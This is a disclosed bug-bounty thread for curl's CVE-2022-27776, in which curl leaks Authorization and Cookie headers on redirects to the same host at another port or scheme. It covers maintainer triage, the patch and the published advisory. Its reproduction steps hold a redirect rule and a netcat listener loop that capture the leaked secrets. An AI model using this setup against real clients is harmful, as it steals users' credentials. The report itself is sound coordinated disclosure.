18 CVE-2022-27776: Auth/cookie leak on redirect

Share:

TIMELINE

nyymi submitted a report to curl. Apr 21st (7 months ago)

Summary:

Curl can be coaxed to leak Authorisation / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).

Steps To Reproduce:

1. Configure for example Apache2 to perform redirect with mod_rewrite:

   Code 100 Bytes — Wrap lines Copy Download

   ```
   RewriteCond %{HTTP_USER_AGENT} "^curl/"
   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
   ```

   ... the attacker could also use `.htpasswd` file to do so.
2. Set up netcat to listen for the incoming secrets: `while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done`
3. `curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc`

The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:

Code 126 Bytes — Wrap lines Copy Download

```
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
```

The attack could also use HTTPS and a valid certificate, in this case the leaked headers are of course only be visible to the listening http server.

This vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.

This bug appears to be here: https://github.com/curl/curl/blob/master/lib/http.c#L1904

Impact

Leak of Authorisation and/or Cookie headers.

bagder curl staff posted a comment. Apr 21st (7 months ago)

Redirecting to another port number, right? I mentioned this flaw in the previous discussion

Isn't this fixed with the same patch as for *27774 ? I considered the redirect to another port to be the same (very similar) problem.

nyymi posted a comment. Updated Apr 21st (7 months ago)

> Isn't this fixed with the same patch as for *27774 ?

No it's not fixed by the patch, the code is elsewhere. See the link.

> I considered the redirect to another port to be the same (very similar) problem.

I think this is still a separate bug, considering the patch for *27774 wouldn't have fixed this one. I tested this issue with the *27774 patch applied, of course.

nyymi posted a comment. Apr 21st (7 months ago)

Ah btw: Redirecting to same port (but HTTP protocol) would still be a problem in the Man in the Middle case: Active MiTM could intercept the HTTP connection and receive the secrets. So indeed just checking for host and port is not enough, also protocol change needs to be checked.

But indeed, here the attacker cannot redirect to another host, which makes the vulnerability at least slightly less severe than *27774.

bagder curl staff posted a comment. Apr 21st (7 months ago)

Ah yeah, it's basically the same bad check in another place... did you check if it is present anywhere else?

Code 314 Bytes Wrap lines Copy Download

```
1  lib/transfer.c:    if(!data->set.allow_auth_to_other_hosts && (type != FOLLOW_FAKE))
2  lib/urldata.h:  BIT(allow_auth_to_other_hosts);
3  lib/http.c:     data->set.allow_auth_to_other_hosts ||
4  lib/http.c:                   !data->set.allow_auth_to_other_hosts &&
5  lib/setopt.c:    data->set.allow_auth_to_other_hosts =
```

Unless if there's some code without checking for that this should be all of them now as far as I can tell. lib/transfer.c and the other lib/http.c is *27774 and the other lib/http.c is this vulnerability.

nyymi posted a comment. Updated Apr 21st (7 months ago)

Wait, there's one check at `lib/http.c/Curl_http_output_auth()` I'm not sure about currently. That should be checked I think.

Update: To me it looks like that this check needs to fixed as well.

nyymi posted a comment. Apr 21st (7 months ago)

To summarise, AFAICT at least these two locations need attention:

- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850
- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904

bagder curl staff changed the status to ○ **Triaged**. Apr 22nd (7 months ago)

I'm working on a patch and advisory

bagder curl staff posted a comment. Apr 22nd (7 months ago)

Fun reading in the mean time https://curl.se/docs/CVE-2018-1000007.html

bagder curl staff posted a comment. Apr 22nd (7 months ago)

Attached a first patch

1 attachment:

Apr 22nd (7 months ago)

bagder curl staff changed the report title from **Authorisation / Cookie header leak on redirect** to **CVE-2022-27776: Auth/cookie leak on redirect** .

bagder curl staff posted a comment. Apr 22nd (7 months ago)

first draft (+ attached):

Auth/cookie leak on redirect

Project curl Security Advisory, April 27 2022 -
Permalink

VULNERABILITY

curl might leak authentication or cookie header data on HTTP redirects to the same host but another port number.

When asked to send custom headers or cookies in its HTTP requests, curl sends that set of headers only to the host which name is used in the initial URL, so that redirects to other hosts will make curl send the data to those. However, due to a flawed check, curl wrongly also sends that same set of headers to the hosts that are identical to the first one but use a different port number or URL scheme. Contrary to expectation and intention.

Sending the same set of headers to a server on a different port number is in particular a problem for applications that pass on custom `Authorization:` or `Cookie:` headers, as those header often contains privacy sensitive information or data that could allow others to impersonate the curl-using client's request.

curl and libcurl have options that allow users to opt out from this check, but that is not set by default.

We are not aware of any exploit of this flaw.

INFO

This flaw was added in curl 4.9 with the introduction of `--location` and has been present in all libcurl versions ever released. In July 2000 in the curl

In 2018, CVE-2018-1000007 was
reported that partly addressed this area - but in an incomplete way.

The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2022-27776 to this issue.

CWE-522: Insufficiently Protected Credentials

Severity: Low

AFFECTED VERSIONS

- Affected versions: curl 4.9 to and including 7.82.0
- Not affected versions: curl < 4.9 and curl >= 7.83.0

Also note that libcurl is used by many applications, and not always advertised as such.

THE SOLUTION

In curl version 7.83.0, the same-host check is extended to check the port number and protocol as well.

A pending

RECOMMENDATIONS

A - Upgrade curl to version 7.83.0

B - Apply the patch to your local version

C - Do not enable CURLOPT_FOLLOWLOCATION if you pass on custom Authorization headers or cookies.

TIMELINE

This issue was reported to the curl project on April 21, 2022. We contacted distros@openwall on April 22.

libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of this advisory.

CREDITS

This issue was reported by Harry Sintonen. Patched by Daniel Stenberg.

F1702655: CVE-2022-27776.md

nyymi posted a comment. Apr 22nd (7 months ago)

Patch confirmed to work for my test cases. Advisory is looking good, too.

bagder curl staff posted a comment. Apr 22nd (7 months ago)

Thanks, I will also write up a test case for this.

bagder curl staff posted a comment. Apr 22nd (7 months ago)

It can be noted that `CURLOPT_COOKIE` is documented and expected to pass the specified cookie in all requests, also after a redirect and therefor so does cookies set with `curl -b name=value`.

I think it could be discussed if that really is a sensible default, but at least it is documented so not a bug. We might want to reconsider that after this advisory has been published.

bagder curl staff closed the report and changed the status to ○ **Resolved**. Apr 27th (7 months ago)

Published. This issue is now eligible for a bounty claim from IBB.

nyymi requested to disclose this report. Apr 27th (7 months ago)

bagder curl staff agreed to disclose this report. Apr 27th (7 months ago)

This report has been disclosed. Apr 27th (7 months ago)

curl has decided that this report is not eligible for a bounty. May 13th (7 months ago)

Thanks for your work. The actual monetary reward part for this issue is managed by the Internet Bug Bounty so the curl project itself therefor sets the reward amount to **zero USD**. If you haven't already, please submit your reward request to them and refer back to this issue.